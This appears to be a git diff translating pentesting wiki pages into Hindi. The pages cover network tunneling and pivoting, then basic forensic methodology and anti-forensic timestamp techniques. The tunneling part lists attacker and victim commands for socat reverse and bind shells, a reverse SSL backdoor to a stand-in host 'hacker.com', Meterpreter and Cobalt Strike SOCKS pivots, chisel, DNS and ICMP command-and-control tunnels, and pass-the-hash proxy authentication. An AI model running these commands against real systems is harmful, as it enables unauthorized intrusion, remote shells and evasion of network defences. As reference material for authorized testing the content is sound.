``` - -Enable forwarding on the Server side - +सर्वर पक्ष पर फॉरवर्डिंग सक्षम करें ```bash echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE ``` - -Set a new route on the client side - +क्लाइंट साइड पर एक नया रूट सेट करें ``` route add -net 10.0.0.0/16 gw 1.1.1.1 ``` - ## SSHUTTLE -You can **tunnel** via **ssh** all the **traffic** to a **subnetwork** through a host.\ -For example, forwarding all the traffic going to 10.10.10.0/24 - +आप **ssh** के माध्यम से एक होस्ट के माध्यम से एक **उपनेटवर्क** के लिए सभी **ट्रैफ़िक** को **टनेल** कर सकते हैं।\ +उदाहरण के लिए, 10.10.10.0/24 पर जाने वाले सभी ट्रैफ़िक को अग्रेषित करना ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 ``` - -Connect with a private key - +एक निजी कुंजी के साथ कनेक्ट करें ```bash sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa' # -D : Daemon mode ``` - ## Meterpreter ### Port2Port -Local port --> Compromised host (active session) --> Third_box:Port - +स्थानीय पोर्ट --> समझौता किया गया होस्ट (सक्रिय सत्र) --> तीसरा_बॉक्स:पोर्ट ```bash # Inside a meterpreter session portfwd add -l -p -r ``` - ### SOCKS - ```bash background# meterpreter session route add # (ex: route add 10.10.10.14 255.255.255.0 8) @@ -142,9 +117,7 @@ use auxiliary/server/socks_proxy run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` - -Another way: - +एक और तरीका: ```bash background #meterpreter session use post/multi/manage/autoroute @@ -157,13 +130,11 @@ set VERSION 4a run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` - ## Cobalt Strike ### SOCKS proxy -Open a port in the teamserver listening in all the interfaces that can be used to **route the traffic through the beacon**. - +टीमसर्वर में एक पोर्ट खोलें जो सभी इंटरफेस में सुन रहा है जिसे **बीकन के माध्यम से ट्रैफ़िक को रूट करने** के लिए उपयोग किया जा सकता है। ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 @@ -171,50 +142,42 @@ beacon> socks 1080 # Set port 1080 as proxy server in proxychains.conf proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ``` - ### rPort2Port > [!WARNING] -> In this case, the **port is opened in the beacon host**, not in the Team Server and the traffic is sent to the Team Server and from there to the indicated host:port - +> इस मामले में, **पोर्ट बीकन होस्ट में खोला जाता है**, टीम सर्वर में नहीं और ट्रैफ़िक टीम सर्वर को भेजा जाता है और वहां से निर्दिष्ट होस्ट:पोर्ट पर भेजा जाता है। ```bash rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] ``` +नोट करने के लिए: -To note: +- Beacon का रिवर्स पोर्ट फॉरवर्ड **टीम सर्वर के लिए ट्रैफ़िक को टनल करने के लिए डिज़ाइन किया गया है, व्यक्तिगत मशीनों के बीच रिले करने के लिए नहीं**। +- ट्रैफ़िक **Beacon के C2 ट्रैफ़िक के भीतर टनल किया जाता है**, जिसमें P2P लिंक शामिल हैं। +- **उच्च पोर्ट पर रिवर्स पोर्ट फॉरवर्ड बनाने के लिए प्रशासनिक विशेषाधिकारों की आवश्यकता नहीं है**। -- Beacon's reverse port forward is designed to **tunnel traffic to the Team Server, not for relaying between individual machines**. -- Traffic is **tunneled within Beacon's C2 traffic**, including P2P links. -- **Admin privileges are not required** to create reverse port forwards on high ports. - -### rPort2Port local +### rPort2Port स्थानीय > [!WARNING] -> In this case, the **port is opened in the beacon host**, not in the Team Server and the **traffic is sent to the Cobalt Strike client** (not to the Team Server) and from there to the indicated host:port - +> इस मामले में, **पोर्ट बीकन होस्ट में खोला जाता है**, टीम सर्वर में नहीं और **ट्रैफ़िक को कोबाल्ट स्ट्राइक क्लाइंट** (टीम सर्वर को नहीं) पर भेजा जाता है और वहां से निर्दिष्ट होस्ट:पोर्ट पर भेजा जाता है। ``` rportfwd_local [bind port] [forward host] [forward port] rportfwd_local stop [bind port] ``` - ## reGeorg [https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg) -You need to upload a web file tunnel: ashx|aspx|js|jsp|php|php|jsp - +आपको एक वेब फ़ाइल टनल अपलोड करने की आवश्यकता है: ashx|aspx|js|jsp|php|php|jsp ```bash python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp ``` - ## Chisel -You can download it from the releases page of [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\ -You need to use the **same version for client and server** +आप इसे [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) के रिलीज़ पृष्ठ से डाउनलोड कर सकते हैं।\ +आपको **क्लाइंट और सर्वर के लिए समान संस्करण का उपयोग करना होगा**। ### socks - ```bash ./chisel server -p 8080 --reverse #Server -- Attacker ./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim @@ -223,22 +186,18 @@ You need to use the **same version for client and server** ./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed) ./chisel client -v 10.10.10.10:8080 socks #Attacker ``` - -### Port forwarding - +### पोर्ट फॉरवर्डिंग ```bash ./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker ./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim ``` - ## Ligolo-ng [https://github.com/nicocha30/ligolo-ng](https://github.com/nicocha30/ligolo-ng) -**Use the same version for agent and proxy** - -### Tunneling +**एजेंट और प्रॉक्सी के लिए एक ही संस्करण का उपयोग करें** +### टनलिंग ```bash # Start proxy server and automatically generate self-signed TLS certificates -- Attacker sudo ./proxy -selfcert @@ -260,9 +219,7 @@ interface_add_route --name "ligolo" --route / python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080 ``` @@ -293,9 +246,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127 ```bash victim> python client.py --server-ip --server-port 9999 ``` - -Pivot through **NTLM proxy** - +**NTLM प्रॉक्सी** के माध्यम से पिवट करें ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd ``` @@ -303,39 +254,29 @@ victim> python client.py --server-ip --server-port 9999 --ntl ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45 ``` - ## **Socat** [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) -### Bind shell - +### बाइंड शेल ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP4::1337 ``` - -### Reverse shell - +### रिवर्स शेल ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` - ### Port2Port - ```bash socat TCP4-LISTEN:,fork TCP4:: & ``` - -### Port2Port through socks - +### Port2Port socks के माध्यम से ```bash socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 ``` - -### Meterpreter through SSL Socat - +### SSL Socat के माध्यम से Meterpreter ```bash #Create meterpreter backdoor to port 3333 and start msfconsole listener in that port attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333 @@ -345,21 +286,17 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5 #Execute the meterpreter ``` - -You can bypass a **non-authenticated proxy** executing this line instead of the last one in the victim's console: - +आप एक **गैर-प्रमाणित प्रॉक्सी** को बायपास कर सकते हैं, पीड़ित के कंसोल में अंतिम लाइन के बजाय यह लाइन निष्पादित करके: ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` - [https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/) ### SSL Socat Tunnel **/bin/sh console** -Create certificates on both sides: Client and Server - +दोनों पक्षों पर प्रमाणपत्र बनाएं: क्लाइंट और सर्वर ```bash # Execute these commands on both sides FILENAME=socatssl @@ -373,34 +310,28 @@ chmod 600 $FILENAME.key $FILENAME.pem attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt ``` - ### Remote Port2Port -Connect the local SSH port (22) to the 443 port of the attacker host - +स्थानीय SSH पोर्ट (22) को हमलावर होस्ट के 443 पोर्ट से कनेक्ट करें ```bash attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost victim> while true; do socat TCP4::443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim ``` - ## Plink.exe -It's like a console PuTTY version ( the options are very similar to an ssh client). - -As this binary will be executed in the victim and it is an ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward only locally accessible port to a port in our machine: +यह एक कंसोल PuTTY संस्करण की तरह है (विकल्प ssh क्लाइंट के बहुत समान हैं)। +चूंकि यह बाइनरी पीड़ित में निष्पादित की जाएगी और यह एक ssh क्लाइंट है, हमें अपनी ssh सेवा और पोर्ट खोलने की आवश्यकता है ताकि हम एक रिवर्स कनेक्शन प्राप्त कर सकें। फिर, केवल स्थानीय रूप से सुलभ पोर्ट को हमारे मशीन के पोर्ट पर अग्रेषित करने के लिए: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 ``` - ## Windows netsh ### Port2Port -You need to be a local admin (for any port) - +आपको एक स्थानीय व्यवस्थापक होना आवश्यक है (किसी भी पोर्ट के लिए) ```bash netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp # Example: @@ -410,60 +341,50 @@ netsh interface portproxy show v4tov4 # Delete port forward netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 ``` - ## SocksOverRDP & Proxifier -You need to have **RDP access over the system**.\ -Download: +आपको **सिस्टम पर RDP एक्सेस** होना चाहिए।\ +डाउनलोड करें: -1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - This tool uses `Dynamic Virtual Channels` (`DVC`) from the Remote Desktop Service feature of Windows. DVC is responsible for **tunneling packets over the RDP connection**. +1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - यह टूल Windows की Remote Desktop Service फीचर से `Dynamic Virtual Channels` (`DVC`) का उपयोग करता है। DVC **RDP कनेक्शन के माध्यम से पैकेट्स को टनलिंग** के लिए जिम्मेदार है। 2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab) -In your client computer load **`SocksOverRDP-Plugin.dll`** like this: - +अपने क्लाइंट कंप्यूटर में **`SocksOverRDP-Plugin.dll`** को इस तरह लोड करें: ```bash # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` +अब हम **RDP** के माध्यम से **`mstsc.exe`** का उपयोग करके **शिकार** से **जुड़** सकते हैं, और हमें एक **प्रॉम्प्ट** प्राप्त होना चाहिए जो कहता है कि **SocksOverRDP प्लगइन सक्षम है**, और यह **127.0.0.1:1080** पर **सुन** रहा होगा। -Now we can **connect** to the **victim** over **RDP** using **`mstsc.exe`**, and we should receive a **prompt** saying that the **SocksOverRDP plugin is enabled**, and it will **listen** on **127.0.0.1:1080**. - -**Connect** via **RDP** and upload & execute in the victim machine the `SocksOverRDP-Server.exe` binary: - +**RDP** के माध्यम से **जुड़ें** और शिकार मशीन में `SocksOverRDP-Server.exe` बाइनरी अपलोड और निष्पादित करें: ``` C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` - -Now, confirm in you machine (attacker) that the port 1080 is listening: - +अब अपने मशीन (हमलावर) में पुष्टि करें कि पोर्ट 1080 सुन रहा है: ``` netstat -antb | findstr 1080 ``` +अब आप [**Proxifier**](https://www.proxifier.com/) **का उपयोग उस पोर्ट के माध्यम से ट्रैफ़िक को प्रॉक्सी करने के लिए कर सकते हैं।** -Now you can use [**Proxifier**](https://www.proxifier.com/) **to proxy the traffic through that port.** +## Windows GUI ऐप्स को प्रॉक्सी करें -## Proxify Windows GUI Apps +आप Windows GUI ऐप्स को [**Proxifier**](https://www.proxifier.com/) का उपयोग करके प्रॉक्सी के माध्यम से नेविगेट कर सकते हैं।\ +**Profile -> Proxy Servers** में SOCKS सर्वर का IP और पोर्ट जोड़ें।\ +**Profile -> Proxification Rules** में प्रॉक्सी करने के लिए प्रोग्राम का नाम और उन IPs के लिए कनेक्शन जोड़ें जिन्हें आप प्रॉक्सी करना चाहते हैं। -You can make Windows GUI apps navigate through a proxy using [**Proxifier**](https://www.proxifier.com/).\ -In **Profile -> Proxy Servers** add the IP and port of the SOCKS server.\ -In **Profile -> Proxification Rules** add the name of the program to proxify and the connections to the IPs you want to proxify. - -## NTLM proxy bypass - -The previously mentioned tool: **Rpivot**\ -**OpenVPN** can also bypass it, setting these options in the configuration file: +## NTLM प्रॉक्सी बायपास +पहले उल्लेखित उपकरण: **Rpivot**\ +**OpenVPN** भी इसे बायपास कर सकता है, कॉन्फ़िगरेशन फ़ाइल में ये विकल्प सेट करके: ```bash http-proxy 8080 ntlm ``` - ### Cntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) -It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port.\ -For example that forward port 443 - +यह एक प्रॉक्सी के खिलाफ प्रमाणीकरण करता है और एक पोर्ट को स्थानीय रूप से बाइंड करता है जो आप द्वारा निर्दिष्ट बाहरी सेवा की ओर अग्रेषित होता है। फिर, आप इस पोर्ट के माध्यम से अपनी पसंद के उपकरण का उपयोग कर सकते हैं।\ +उदाहरण के लिए, वह पोर्ट 443 को अग्रेषित करें। ``` Username Alice Password P@ssw0rd @@ -471,13 +392,12 @@ Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` - -Now, if you set for example in the victim the **SSH** service to listen in port 443. You can connect to it through the attacker port 2222.\ -You could also use a **meterpreter** that connects to localhost:443 and the attacker is listening in port 2222. +अब, यदि आप उदाहरण के लिए पीड़ित पर **SSH** सेवा को पोर्ट 443 पर सुनने के लिए सेट करते हैं। आप इसे हमलावर पोर्ट 2222 के माध्यम से कनेक्ट कर सकते हैं।\ +आप एक **meterpreter** का भी उपयोग कर सकते हैं जो localhost:443 से कनेक्ट होता है और हमलावर पोर्ट 2222 पर सुन रहा है। ## YARP -A reverse proxy created by Microsoft. You can find it here: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) +Microsoft द्वारा बनाया गया एक रिवर्स प्रॉक्सी। आप इसे यहाँ पा सकते हैं: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) ## DNS Tunneling @@ -485,26 +405,21 @@ A reverse proxy created by Microsoft. You can find it here: [https://github.com/ [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) -Root is needed in both systems to create tun adapters and tunnel data between them using DNS queries. - +दोनों सिस्टम में टन एडाप्टर बनाने और DNS क्वेरी का उपयोग करके उनके बीच डेटा टनल करने के लिए रूट की आवश्यकता होती है। ``` attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r #You can see the victim at 1.1.1.2 ``` - -The tunnel will be very slow. You can create a compressed SSH connection through this tunnel by using: - +यह टनल बहुत धीमी होगी। आप इस टनल के माध्यम से एक संकुचित SSH कनेक्शन बना सकते हैं: ``` ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080 ``` - ### DNSCat2 -[**Download it from here**](https://github.com/iagox86/dnscat2)**.** - -Establishes a C\&C channel through DNS. It doesn't need root privileges. +[**इसे यहाँ से डाउनलोड करें**](https://github.com/iagox86/dnscat2)**.** +DNS के माध्यम से C\&C चैनल स्थापित करता है। इसे रूट विशेषाधिकारों की आवश्यकता नहीं है। ```bash attacker> ruby ./dnscat2.rb tunneldomain.com victim> ./dnscat2 tunneldomain.com @@ -513,50 +428,42 @@ victim> ./dnscat2 tunneldomain.com attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache victim> ./dnscat2 --dns host=10.10.10.10,port=5353 ``` +#### **PowerShell में** -#### **In PowerShell** - -You can use [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) to run a dnscat2 client in powershell: - +आप [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) का उपयोग करके powershell में dnscat2 क्लाइंट चला सकते हैं: ``` Import-Module .\dnscat2.ps1 Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd ``` - -#### **Port forwarding with dnscat** - +#### **dnscat के साथ पोर्ट फॉरवर्डिंग** ```bash session -i listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host ``` +#### Proxychains DNS बदलें -#### Change proxychains DNS +Proxychains `gethostbyname` libc कॉल को इंटरसेप्ट करता है और tcp DNS अनुरोध को socks प्रॉक्सी के माध्यम से टनल करता है। **डिफ़ॉल्ट** रूप से, **DNS** सर्वर जो proxychains उपयोग करता है वह **4.2.2.2** है (हार्डकोडेड)। इसे बदलने के लिए, फ़ाइल संपादित करें: _/usr/lib/proxychains3/proxyresolv_ और IP बदलें। यदि आप **Windows वातावरण** में हैं, तो आप **डोमेन कंट्रोलर** का IP सेट कर सकते हैं। -Proxychains intercepts `gethostbyname` libc call and tunnels tcp DNS request through the socks proxy. By **default** the **DNS** server that proxychains use is **4.2.2.2** (hardcoded). To change it, edit the file: _/usr/lib/proxychains3/proxyresolv_ and change the IP. If you are in a **Windows environment** you could set the IP of the **domain controller**. - -## Tunnels in Go +## Go में टनल [https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel) -## ICMP Tunneling +## ICMP टनलिंग ### Hans [https://github.com/friedrich/hans](https://github.com/friedrich/hans)\ [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel) -Root is needed in both systems to create tun adapters and tunnel data between them using ICMP echo requests. - +दोनों सिस्टम में टन अडाप्टर बनाने और ICMP इको अनुरोधों का उपयोग करके उनके बीच डेटा टनल करने के लिए रूट की आवश्यकता होती है। ```bash ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -f -c -p P@ssw0rd -v ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100 ``` - ### ptunnel-ng -[**Download it from here**](https://github.com/utoni/ptunnel-ng.git). - +[**इसे यहाँ से डाउनलोड करें**](https://github.com/utoni/ptunnel-ng.git). ```bash # Generate it sudo ./autogen.sh @@ -570,32 +477,28 @@ ssh -p 2222 -l user 127.0.0.1 # Create a socks proxy through the SSH connection through the ICMP tunnel ssh -D 9050 -p 2222 -l user 127.0.0.1 ``` - ## ngrok -[**ngrok**](https://ngrok.com/) **is a tool to expose solutions to Internet in one command line.**\ -&#xNAN;_Exposition URI are like:_ **UID.ngrok.io** +[**ngrok**](https://ngrok.com/) **एक उपकरण है जो एक कमांड लाइन में समाधानों को इंटरनेट पर उजागर करता है।**\ +&#xNAN;_Exposition URI इस तरह हैं:_ **UID.ngrok.io** ### Installation -- Create an account: https://ngrok.com/signup -- Client download: - +- एक खाता बनाएं: https://ngrok.com/signup +- क्लाइंट डाउनलोड: ```bash tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin chmod a+x ./ngrok # Init configuration, with your token ./ngrok config edit ``` +### मूल उपयोग -### Basic usages +**दस्तावेज़ीकरण:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). -**Documentation:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). - -_It is also possible to add authentication and TLS, if necessary._ - -#### Tunneling TCP +_यदि आवश्यक हो, तो प्रमाणीकरण और TLS जोड़ना भी संभव है।_ +#### TCP टनलिंग ```bash # Pointing to 0.0.0.0:4444 ./ngrok tcp 4444 @@ -603,49 +506,42 @@ _It is also possible to add authentication and TLS, if necessary._ # Listen (example): nc -nvlp 4444 # Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345 ``` - -#### Exposing files with HTTP - +#### HTTP के साथ फ़ाइलें उजागर करना ```bash ./ngrok http file:///tmp/httpbin/ # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ ``` +#### HTTP कॉल को स्निफ़ करना -#### Sniffing HTTP calls - -_Useful for XSS,SSRF,SSTI ..._\ -Directly from stdout or in the HTTP interface [http://127.0.0.1:4040](http://127.0.0.1:4000). - -#### Tunneling internal HTTP service +_XSS, SSRF, SSTI ... के लिए उपयोगी_\ +stdout से सीधे या HTTP इंटरफ़ेस में [http://127.0.0.1:4040](http://127.0.0.1:4000)। +#### आंतरिक HTTP सेवा को टनल करना ```bash ./ngrok http localhost:8080 --host-header=rewrite # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ # With basic auth ./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword" ``` +#### ngrok.yaml सरल कॉन्फ़िगरेशन उदाहरण -#### ngrok.yaml simple configuration example - -It opens 3 tunnels: +यह 3 टनल खोलता है: - 2 TCP -- 1 HTTP with static files exposition from /tmp/httpbin/ - +- 1 HTTP जो /tmp/httpbin/ से स्थिर फ़ाइलों का प्रदर्शन करता है ```yaml tunnels: - mytcp: - addr: 4444 - proto: tcptunne - anothertcp: - addr: 5555 - proto: tcp - httpstatic: - proto: http - addr: file:///tmp/httpbin/ +mytcp: +addr: 4444 +proto: tcptunne +anothertcp: +addr: 5555 +proto: tcp +httpstatic: +proto: http +addr: file:///tmp/httpbin/ ``` - -## Other tools to check +## अन्य उपकरण जांचने के लिए - [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf) - [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md index e725dfa85..c8e594eca 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md @@ -1,30 +1,30 @@ -# Basic Forensic Methodology +# बेसिक फॉरेंसिक मेथोडोलॉजी {{#include ../../banners/hacktricks-training.md}} -## Creating and Mounting an Image +## इमेज बनाना और माउंट करना {{#ref}} ../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md {{#endref}} -## Malware Analysis +## मैलवेयर विश्लेषण -This **isn't necessary the first step to perform once you have the image**. But you can use this malware analysis techniques independently if you have a file, a file-system image, memory image, pcap... so it's good to **keep these actions in mind**: +यह **छवि प्राप्त करने के बाद करने के लिए पहला कदम जरूरी नहीं है**। लेकिन आप इस मैलवेयर विश्लेषण तकनीकों का स्वतंत्र रूप से उपयोग कर सकते हैं यदि आपके पास एक फ़ाइल, फ़ाइल-प्रणाली छवि, मेमोरी छवि, pcap... है, इसलिए यह **इन क्रियाओं को ध्यान में रखना अच्छा है**: {{#ref}} malware-analysis.md {{#endref}} -## Inspecting an Image +## इमेज का निरीक्षण करना -if you are given a **forensic image** of a device you can start **analyzing the partitions, file-system** used and **recovering** potentially **interesting files** (even deleted ones). Learn how in: +यदि आपको एक **फॉरेंसिक इमेज** दी गई है, तो आप **पार्टीशनों, फ़ाइल-प्रणाली** का विश्लेषण करना शुरू कर सकते हैं और **संभावित रूप से** **दिलचस्प फ़ाइलों** (यहां तक कि हटाई गई फ़ाइलों) को **पुनर्प्राप्त** कर सकते हैं। जानें कैसे: {{#ref}} partitions-file-systems-carving/ {{#endref}} -Depending on the used OSs and even platform different interesting artifacts should be searched: +उपयोग किए गए OSs और यहां तक कि प्लेटफ़ॉर्म के आधार पर विभिन्न दिलचस्प कलाकृतियों की खोज की जानी चाहिए: {{#ref}} windows-forensics/ @@ -38,42 +38,42 @@ linux-forensics.md docker-forensics.md {{#endref}} -## Deep inspection of specific file-types and Software +## विशिष्ट फ़ाइल-प्रकारों और सॉफ़्टवेयर की गहरी जांच -If you have very **suspicious** **file**, then **depending on the file-type and software** that created it several **tricks** may be useful.\ -Read the following page to learn some interesting tricks: +यदि आपके पास बहुत **संदिग्ध** **फ़ाइल** है, तो **फ़ाइल-प्रकार और सॉफ़्टवेयर** के आधार पर जो इसे बनाया है, कई **तरकीबें** उपयोगी हो सकती हैं।\ +कुछ दिलचस्प तरकीबें जानने के लिए निम्नलिखित पृष्ठ पढ़ें: {{#ref}} specific-software-file-type-tricks/ {{#endref}} -I want to do a special mention to the page: +मैं पृष्ठ का विशेष उल्लेख करना चाहता हूं: {{#ref}} specific-software-file-type-tricks/browser-artifacts.md {{#endref}} -## Memory Dump Inspection +## मेमोरी डंप निरीक्षण {{#ref}} memory-dump-analysis/ {{#endref}} -## Pcap Inspection +## Pcap निरीक्षण {{#ref}} pcap-inspection/ {{#endref}} -## **Anti-Forensic Techniques** +## **एंटी-फॉरेंसिक तकनीकें** -Keep in mind the possible use of anti-forensic techniques: +एंटी-फॉरेंसिक तकनीकों के संभावित उपयोग को ध्यान में रखें: {{#ref}} anti-forensic-techniques.md {{#endref}} -## Threat Hunting +## खतरे की खोज {{#ref}} file-integrity-monitoring.md diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md index 94a381b98..845fbfe1e 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md @@ -1,152 +1,152 @@ -# Anti-Forensic Techniques +# एंटी-फॉरेंसिक तकनीकें {{#include ../../banners/hacktricks-training.md}} -## Timestamps +## टाइमस्टैम्प -An attacker may be interested in **changing the timestamps of files** to avoid being detected.\ -It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION` \_\_ and \_\_ `$FILE_NAME`. +एक हमलावर **फाइलों के टाइमस्टैम्प को बदलने** में रुचि रख सकता है ताकि उसे पकड़ा न जा सके।\ +यह संभव है कि टाइमस्टैम्प को MFT के अंदर `$STANDARD_INFORMATION` \_\_ और \_\_ `$FILE_NAME` में पाया जा सके। -Both attributes have 4 timestamps: **Modification**, **access**, **creation**, and **MFT registry modification** (MACE or MACB). +दोनों विशेषताओं में 4 टाइमस्टैम्प होते हैं: **संशोधन**, **पहुँच**, **निर्माण**, और **MFT रजिस्ट्र्री संशोधन** (MACE या MACB)। -**Windows explorer** and other tools show the information from **`$STANDARD_INFORMATION`**. +**Windows explorer** और अन्य उपकरण **`$STANDARD_INFORMATION`** से जानकारी दिखाते हैं। -### TimeStomp - Anti-forensic Tool +### TimeStomp - एंटी-फॉरेंसिक टूल -This tool **modifies** the timestamp information inside **`$STANDARD_INFORMATION`** **but** **not** the information inside **`$FILE_NAME`**. Therefore, it's possible to **identify** **suspicious** **activity**. +यह टूल **`$STANDARD_INFORMATION`** के अंदर टाइमस्टैम्प जानकारी को **संशोधित** करता है **लेकिन** **`$FILE_NAME`** के अंदर की जानकारी को **नहीं**। इसलिए, यह **संदिग्ध** **गतिविधि** को **पहचानने** के लिए संभव है। ### Usnjrnl -The **USN Journal** (Update Sequence Number Journal) is a feature of the NTFS (Windows NT file system) that keeps track of volume changes. The [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) tool allows for the examination of these changes. +**USN जर्नल** (अपडेट अनुक्रम संख्या जर्नल) NTFS (Windows NT फ़ाइल प्रणाली) की एक विशेषता है जो वॉल्यूम परिवर्तनों का ट्रैक रखती है। [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) टूल इन परिवर्तनों की जांच करने की अनुमति देता है। ![](<../../images/image (801).png>) -The previous image is the **output** shown by the **tool** where it can be observed that some **changes were performed** to the file. +पिछली छवि **टूल** द्वारा दिखाया गया **आउटपुट** है जहाँ देखा जा सकता है कि कुछ **परिवर्तन किए गए** थे। ### $LogFile -**All metadata changes to a file system are logged** in a process known as [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). The logged metadata is kept in a file named `**$LogFile**`, located in the root directory of an NTFS file system. Tools such as [LogFileParser](https://github.com/jschicht/LogFileParser) can be used to parse this file and identify changes. +**फाइल सिस्टम में सभी मेटाडेटा परिवर्तनों को लॉग किया जाता है** जिसे [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging) के रूप में जाना जाता है। लॉग की गई मेटाडेटा एक फ़ाइल में रखी जाती है जिसका 